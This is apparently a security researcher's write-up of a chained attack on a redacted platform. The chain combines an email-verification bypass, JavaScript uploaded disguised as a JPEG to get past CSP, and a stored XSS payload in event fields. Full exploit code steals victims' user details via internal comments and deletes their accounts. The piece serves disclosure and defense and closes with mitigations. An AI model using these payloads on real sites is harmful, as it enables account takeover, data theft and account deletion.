Hidden in Plain Sight: Account Takeovers & CSP Pitfalls
Content Security Policy (CSP) is a fundamental security measure designed to prevent Cross-Site Scripting (XSS) and data injection attacks. However, when not implemented correctly, attackers can exploit loopholes to bypass CSP, execute malicious payloads, and compromise entire systems. This article explores an interesting CSP bypass scenario where malicious code is disguised within an image file. We'll analyze a real-world case of a number of seemingly unrelated vulnerabilities are chained together in a cunning way in order to allow for mass account takeover
While devising this attack, one significant challenge was the inability to host the payload externally. The platform's strict CSP configuration only allowed requests to *.redacted.com, preventing outbound XHR requests to other domains. To overcome this, the payload was embedded within an image hosted on the same platform, bypassing restrictions entirely. As attackers, we must rely on the resources we can control within the platform, and this creative bypass demonstrates the importance of understanding the attack surface.
Another key part of this exploit was transferring the extracted user data internally. The "Chat" feature, which serves as an internal chat-like mechanism, provided a covert channel to exfiltrate data. By embedding the stolen details as comments, the attack avoided external communication entirely while still automating the account takeover process.
Step 1: Bypassing Email Verification
Email verification is a common mechanism employed to validate user registrations. However, I noticed that after signing-up, we are immediately redirected to redacted.com/register/email/<<CODE>>, and that the same code was included in the verification link enclosed in the verification email message, instructing users to access the url redacted.com/register/details/<<CODE>> in order to complete the registration process). Armed with valuable piece of information, we can:
Register an account with any email (e.g., fakeemail@example.com).
Exploit the verification URL:
The platform redirects us to the following URL:
https://redacted.com/club/register/email/<<CODE>>/
By modifying the endpoint to /details/, the verification process is completed:
https://redacted.com/club/register/details/<<CODE>>/
This procedure allows an attacker to register an account using any email address without requiring access to incoming emails.
Step 2: Crafting the Malicious Image for CSP Bypass
The strict CSP prevented external hosting of payloads, as outbound XHR requests were only allowed to *.redacted.com. This restriction forced attackers to get creative and find some other vulnerability within the site:
To bypass CSP, the attacker can upload a file with a .jpg extension containing malicious JavaScript code. The server fails to validate its content, treating the file as an image while allowing it to be stored on the same domain.
File Upload Exploit Example
The attacker uses the following HTTP request to upload the disguised script:
POST /xxx/templates/events/api/upload.jsp HTTP/2
Host: redacted
Cookie: <Omitted>
------WebKitBoundary
Content-Disposition: form-data; name="image"; filename="exploit.jpg"
Content-Type: image/jpeg
<script>alert('CSP Bypass');</script>
------WebKitBoundary--
The uploaded file is accessible at a predictable URL:
https://redacted/img/<dimensions>/library/images/events/<imageid>_feature.jpg
Step 3: Triggering Malicious Code Through Stored XSS
Every user has the option to create an event in the platform. Some fields inside the event like the event location were not properly sanitized, and users that access the event page can be poisoned using the following payload:
"><script>$.get('/img/<dimensions>/library/images/events/<imageid>_feature.jpg', eval)</script>
This payload fetches and executes the disguised image script using jQuery, triggering the payload for any user who views or interacts with the event, The impact of this vulnerability is significantly amplified by an additional feature within the platform that allows the attacker to highlight the event, ensuring its visibility to any user visiting the main page.
Step 4: Automated Account deletion
A crucial aspect of this exploit involved identifying a request capable of triggering account deletion during the exploitation process. During the assessment, it was observed that some of the account data was kept even after it was deleted. By leveraging the existing authentication bypass, it became possible to chain this vulnerability to delete an account and subsequently re-register it with access to some of the original user's data, thereby exploiting the system further.
Step 5: Exfiltrating Data Using Internal Features
A critical part of this exploit was transferring the victim's data. Since CSP restricted outbound communication, attackers used another feature within the platform — essentially an internal comment system—to embed exfiltrated data. This approach kept the data within the domain and thus avoided triggering CSP violations.
The script crafted in step 2 automates the following:
Extract Victim Data: Retrieve user id, username, and email.
Send Data Internally: Use the internal comment functionality to store base64-encoded user details as comments.
Automate Account Takeover: Delete the victim's account and re-register using their details.
Step 6: Exploit Code for Full Account Takeover
The hosted script inside the malicious image automates the following steps:
```
function submitRequest() {
// Step 1: Fetch the main page to extract `userid`, `username`, and `email`
fetch('https://redacted.com/xxx/', { method: 'GET', credentials: 'include' })
.then(response => response.text())
.then(html => {
var doc = new DOMParser().parseFromString(html, 'text/html');
var userId = doc.querySelector('input[name="userid"]').value;
var username = doc.querySelector('h3.username').textContent.trim().toLowerCase();
return fetch(`https://redacted.com/xxx/e/${username}/settings/`, { method: 'GET', credentials: 'include' })
.then(response => response.text())
.then(settingsHtml => {
var settingsDoc = new DOMParser().parseFromString(settingsHtml, 'text/html');
var email = settingsDoc.querySelector('input[name="email"]').value;
// Step 2: Make an XHR request to `/xxx/api/upload-ids.jsp` to get `requestToken`
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://redacted.com/xxx/api/new-upload-ids.jsp", true);
xhr.setRequestHeader("accept", "application/json, text/javascript, */*; q=0.01");
xhr.setRequestHeader("content-type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.setRequestHeader("accept-language", "en-US,en;q=0.9");
xhr.withCredentials = true;
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Parse the response to extract `requestToken`
var responseJson = JSON.parse(xhr.responseText);
var requestToken = responseJson.requestToken;
var galleryId = responseJson.galleryid;
// Step 3: send the data to the attackers chat `/xxx/api/comment.jsp`
var finalXhr = new XMLHttpRequest();
finalXhr.open("POST", "https://redacted.com/xxx/api/comment-post.jsp", true);
finalXhr.setRequestHeader("accept", "application/json, text/javascript, */*; q=0.01");
finalXhr.setRequestHeader("content-type", "application/x-www-form-urlencoded; charset=UTF-8");
finalXhr.setRequestHeader("accept-language", "en-US,en;q=0.9");
finalXhr.withCredentials = true;
// Encode Username, UserId, and Email in Base64
var base64Comment = btoa(`username=${username}&userid=${userId}&email=${email}`);
var finalBody = `request-token=${encodeURIComponent(requestToken)}&galleryid=<<Gallery_ID_Of_Attacker>>&userid=<<Userid_Of_Attacker>>&vehicleid=<<Vehicle_ID_Of_Attacker>>&comment=${encodeURIComponent(base64Comment)}`;
finalXhr.onreadystatechange = function () {
if (finalXhr.readyState === XMLHttpRequest.DONE && finalXhr.status === 200) {
// Step 4: Make the final request to cancel membership after attacker received the data.
var cancelXhr = new XMLHttpRequest();
cancelXhr.open("POST", "https://redacted.com/xxx/api/membercancel.jsp", true);
cancelXhr.setRequestHeader("accept", "application/json, text/javascript, */*; q=0.01");
cancelXhr.setRequestHeader("content-type", "application/x-www-form-urlencoded; charset=UTF-8");
cancelXhr.setRequestHeader("accept-language", "en-US,en;q=0.9");
cancelXhr.withCredentials = true;
var cancelBody = `id=${encodeURIComponent(userId)}`;
cancelXhr.send(cancelBody);
}
};
finalXhr.send(finalBody);
}
};
// Send the XHR request for `requestToken`
var uploadBody = "action=%2Fxxx%2Fapi%2Fcomment.jsp";
xhr.send(uploadBody);
});
});
}
submitRequest();
```
Overview of the Full Exploit Chain
An attacker can leverage Stored XSS combined with CSP bypass to perform the following actions:
Mass Account Takeover: Extract sensitive user data, delete victim accounts, and re-register under their details.
Content Security Policy Bypass: Embed malicious scripts inside image files (.jpg) to circumvent CSP restrictions.
Automated Stored XSS Injection: Inject payloads into event creation fields, triggering malicious code when victims interact with events.
Data Exfiltration: Use platform features like comments to exfiltrate stolen data covertly.
Key Takeaways
Validate File Uploads: Enforce strict server-side validation to ensure only valid image formats are accepted.
Sanitize User Inputs: Prevent stored XSS by encoding and validating all user-provided content.
Monitor Internal Features: Internal communication mechanisms like chat systems can be abused for data exfiltration.
Strengthen Email Verification: Avoid predictable or easily bypassed verification mechanisms.
Protect User Information: Comply with data protection regulations regarding user information.
Conclusion
This exploitation demonstrates how CSP restrictions can be cleverly bypassed by embedding code inside image files hosted on the same domain. The inability to use external payloads due to a strict connect-src policy forced attackers to think creatively, hiding the payload "in plain sight."
Additionally, leveraging internal platform functionalities like the chat system enabled covert data transfer within the CSP boundaries. This highlights the importance of securing internal features and validating inputs rigorously.
Stored XSS, when combined with CSP misconfigurations and poor validation, enables attackers to automate account takeovers, delete critical data, and manipulate platform functionalities. Organizations must adopt rigorous input validation, enforce robust CSP policies, and monitor endpoints for anomalous behavior.